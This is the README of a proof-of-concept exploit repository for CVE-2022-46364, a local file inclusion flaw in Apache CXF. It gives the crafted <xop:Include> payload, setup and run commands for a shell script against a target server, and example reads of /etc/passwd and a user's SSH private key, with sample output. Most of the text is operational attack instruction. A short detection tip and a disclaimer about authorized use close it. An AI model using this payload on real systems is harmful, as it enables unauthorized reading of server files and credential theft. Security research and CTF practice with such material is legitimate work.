shashivanth009/cve-2022-46364---apache-cxf-xop-include-lfi-pocProof-of-concept exploit for CVE-2022-46364, a local file inclusion vulnerability in Apache CXF via crafted XOP Include elements in SOAP requests, allowing arbitrary file read.
This repository contains a Proof-of-Concept (PoC) exploit for CVE-2022-46364, a Local File Inclusion (LFI) vulnerability in Apache CXF.
The vulnerability arises due to improper handling of XOP (XML-binary Optimized Packaging) Include elements in SOAP requests, allowing attackers to read arbitrary files from the server.
Apache CXF improperly processes <xop:Include> elements inside SOAP requests.
By supplying a crafted href (e.g., file:///etc/passwd), the server may include and return local file contents.
Always verify the exact vulnerable version in your target environment.
<xop:Include href="file:///path/to/file">.
├── cxf_lfi.sh # Exploit script
├── README.md # Documentation
├── LICENSE # MIT License
└── .gitignore
chmod +x cxf_lfi.sh
Update the target inside the script:
TARGET="http://<TARGET_IP>:8080/employeeservice"
./cxf_lfi.sh file:///etc/passwd
./cxf_lfi.sh file:///etc/passwd
./cxf_lfi.sh file:///home/user/.ssh/id_rsa
[+] Target: http://10.10.10.10:8080/employeeservice
[+] File: file:///etc/passwd
[+] Extracted Content:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
Some servers may:
file:// schemesOutput parsing depends on response format and may require manual inspection.
Monitor unusual SOAP requests containing:
<xop:Include>file:// URIsThis project is intended for:
Do not use this tool on systems without explicit permission.
Developed as part of security research and CTF practice.